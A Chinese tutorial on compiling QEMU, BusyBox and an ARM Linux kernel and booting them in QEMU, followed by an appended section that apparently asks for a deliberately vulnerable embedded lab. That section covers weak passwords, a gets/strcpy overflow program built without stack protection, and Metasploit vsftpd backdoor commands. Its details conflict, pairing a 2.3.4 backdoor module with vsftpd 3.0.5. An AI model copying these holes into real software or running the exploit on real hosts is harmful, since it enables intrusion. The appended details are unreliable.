Qemu运行ARM架构LinuxKernel(Ubuntu-20.04)

本文详细介绍了如何在Linux环境下源码安装QEMU和BusyBox,包括解决依赖问题、配置选项以及编译步骤。同时,讲解了如何创建initramfs文件系统,设置设备节点,并在QEMU上运行编译后的Linux内核。
第零步:源码安装qemu
    tar xvJf qemu-7.0.0.tar.xz
    cd qemu-7.0.0
    ./configure
    make
    make install
注:configure过程中可能会报错,安装相应的工具和库就行了。
apt install ninja-build
apt install libglib2.0-dev
apt install libpixman-1-dev
ninja:一个工程配置构建工具,类似于make,Google人开发Chrome时开发的。
Qemu出现VNC server running on 127.0.0.1:5900 
这是因为在安装QEMU过程中
./configure --prefix=/usr/local/qemu
执行后出现了 SDL support       no
解决方法
sudo apt install libsdl2-dev -y
./configure --prefix=/usr/local/qemu
SDL support       yes (2.0.8)
重新配置QEMU,显示SDL support yes即为成功 ,然后重新编译安装
也可以不用安装  直接使用VNC Viewer去连接远程桌面
第一步:下载源码
第二步:编译busybox
tar -xvf busybox-1.35.0.tar.bz2
cd busybox-1.35.0
export ARCH=arm
export CROSS_COMPILE=arm-linux-gnueabi-
make menuconfig 配置成静态编译
make install 完成编译
在busybox根目录下有个_install目录,讲此目录复制到linux内核源码根目录
在把_install拷贝到kernel目录前做如下操作:
mkdir etc
mkdir dev
mkdir mnt
mkdir -p etc/init.d/
在etc/init.d/目录下创建rcS文件,并写入如下内容:
mkdir -p /proc
mkdir -p /tmp
mkdir -p /sys
mkdir -p /mnt
/bin/mount -a
mkdir -p /dev/pts
mount -t devpts devpts /dev/pts
echo /sbin/mdev > /proc/sys/kernel/hotplug
mdev -s
给rcS文件加上可执行权限:
chmod +x rcS
在etc目录下创建fstab文件,并写入如下内容:
proc /proc proc defaults 0 0
tmpfs /tmp tmpfs defaults 0 0
sysfs /sys sysfs defaults 0 0
tmpfs /dev tmpfs defaults 0 0
debugfs /sys/kernel/debug debugfs defaults 0 0
在etc目录下创建inittab文件,并写入如下内容:
::sysinit:/etc/init.d/rcS
::respawn:-/bin/sh
::askfirst:-/bin/sh
::ctrlaltdel:/bin/umount -a -r
在dev目录下创建设备节点,需要root权限:
cd _install/dev/
sudo mknod console c 5 1
sudo mknod null c 1 3
注:安装arm交叉编译器
apt install gcc-arm-linux-gnueabi build-essential
第三步:编译 linuxkernel (注意:kernel用了gcc专有特性,所以编译kernel源码需要相应的gcc版本)
tar -xvf linux-5.15.35.tar.gz
cd linux-5.15.35
export ARCH=arm
export CROSS_COMPILE=arm-linux-gnueabi-
make vexpress_defconfig
make menuconfig
配置initramfs,在initramfs source file中填入_install,如下图:
修改一下user和kernel内存空间,如下图:
make bzImage -j4 ARCH=arm CROSS_COMPILE=arm-linux-gnueabi-
make dtbs # 编译设备树,ARM架构特有的,x86架构用ACPI,因为x86架构PC用的多,除了Linux还有Windows
QEMU模拟4核Cortex-A9的Versatile Express开发平台:
qemu-system-arm -M vexpress-a9 -smp 4 -m 1024M -kernel arch/arm/boot/zImage -append "rdinit=/linuxrc console=ttyAMA0 loglevel=8" -dtb arch/arm/boot/dts/vexpress-v2p-ca9.dtb -nographic
在Ubuntu另外一个中段中输入killall qemu-system-arm即可关闭QEMU平台。
1. 更新系统包列表 sudo apt update 解析:此命令用于更新本地的软件包列表,确保安装的是最新版本的QEMU。apt update会从配置的软件源(repository)中获取最新的软件包信息,包括可用的软件包、版本号以及依赖关系等。 2. 安装QEMU sudo apt install qemu 解析:使用apt包管理器安装QEMU模拟器。 3. 验证QEMU安装 qemu-system-x86_64 --version 解析:检查QEMU是否安装成功,并显示其版本信息。qemu-system-x86_64是QEMU的一个命令行工具,用于模拟x86_64架构的处理器和系统。--version选项会显示QEMU的版本信息。 4. 下载Ubuntu镜像文件 wget https://releases.ubuntu.com/20.04/ubuntu-20.04-live-server-amd64.iso 解析:从Ubuntu官方网站下载20.04版本的服务器版ISO镜像文件。 5. 创建磁盘镜像文件 qemu-img create -f qcow2 ubuntu.qcow2 20G 解析:创建一个20GB的qcow2格式磁盘镜像文件,用于安装Ubuntu系统。qemu-img是QEMU提供的磁盘镜像管理工具,create子命令用于创建新的磁盘镜像文件。-f qcow2指定镜像文件的格式为qcow2,这是一种支持动态分配和快照等高级功能的磁盘镜像格式。ubuntu.qcow2是创建的镜像文件名,20G指定镜像文件的大小为20GB,可以根据实验需求设置。 6. 启动QEMU并安装Ubuntu qemu-system-x86_64 -hda ubuntu.qcow2 -cdrom ubuntu-20.04-live-server-amd64.iso -boot d -m 2048 解析:启动QEMU,使用之前创建的磁盘镜像文件ubuntu.qcow2和下载的ISO镜像文件ubuntu-20.04-live-server-amd64.iso,分配2GB内存,从CD-ROM启动以安装Ubuntu-hda选项指定QEMU模拟的第一个硬盘设备为ubuntu.qcow2,-cdrom选项指定QEMU模拟的CD-ROM设备为下载的ISO镜像文件,-boot d选项指定启动顺序为从CD-ROM启动,-m 2048选项指定分配给QEMU模拟器的内存大小为2048MB(即2GB)。 7. 按照Ubuntu安装向导完成安装 解析:在QEMU窗口中Ubuntu的安装界面按照向导步骤进行操作,包括选择语言、时区、键盘布局、设置用户名和密码等,与在物理机上安装Ubuntu系统类似。 8. 重启QEMU并登录Ubuntu系统 qemu-system-x86_64 -hda ubuntu.qcow2 -m 2048 解析:安装完成后要重启QEMU以进入新安装的Ubuntu系统。使用与之前相同的命令启动QEMU,不再需要-cdrom和-boot d选项,使用之前设置的用户名和密码登录Ubuntu系统就可以开始使用了。 9. 构建嵌入式系统 步骤1:安装依赖工具 sudo apt update sudo apt install -y git build-essential qemu-system-arm binwalk python3-pip pip3 install pycrypto 步骤2:构建嵌入式系统 # 下载Buildroot(2023.02稳定版) wget https://buildroot.org/downloads/buildroot-2023.02.1.tar.gz tar xvf buildroot-2023.02.1.tar.gz cd buildroot-2023.02.1 # 配置基础系统 make qemu_arm_vexpress_defconfig make menuconfig # 关键配置 Target packages → [*] vsftpd (选中) [*] Enable insecure options (允许弱密码) System configuration → (insecure) Root password (设置弱密码) Filesystem images → [*] ext2/3/4 root filesystem 步骤3:植入漏洞组件 # 创建漏洞程序/root/vuln_ftp.c:(以下为C语言代码) #include <stdio.h> #include <string.h> void vulnerable(char *input) { char buffer[64]; strcpy(buffer, input); // 缓冲区溢出点 } int main() { char input[256]; printf("FTP> "); gets(input); // 高危函数 vulnerable(input); return 0; } # 编译到文件系统 arm-linux-gnueabi-gcc vuln_ftp.c -o output/target/root/ftp_server -fno-stack-protector #禁用栈保护 -z execstack -static 步骤4:编译并启动系统 make -j$(nproc) # 编译约30分钟 qemu-system-arm -M vexpress-a9 -kernel output/images/zImage -dtb output/images/vexpress-v2p-ca9.dtb -drive file=output/images/rootfs.ext2,if=sd,format=raw -append "console=ttyAMA0 root=/dev/mmcblk0" -net nic -net user,hostfwd=tcp::2121-:21 -serial stdio -nographic 实验产出 (1)系统镜像:buildroot-2023.02.1/output/images/rootfs.ext2 (2)攻击验证脚本 # 在Kali中执行 msfconsole -q use exploit/unix/ftp/vsftpd_234_backdoor set RHOST 192.168.1.100 set PAYLOAD cmd/unix/interact exploit 解析:通过Metasploit利用vsftpd后门漏洞获取shell。 (3)分析报告(样例) 内核版本:Linux 5.15.82 文件系统:ext4 (256MB) 植入漏洞: - FTP服务(vsftpd 3.0.5) - 自定义漏洞程序(/root/ftp_server) 安全风险: - 弱密码 root/insecure - 未启用ASLR (/proc/sys/kernel/randomize_va_space=0) - 漏洞程序禁用栈保护 给出完整步骤
最新发布
11-17
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值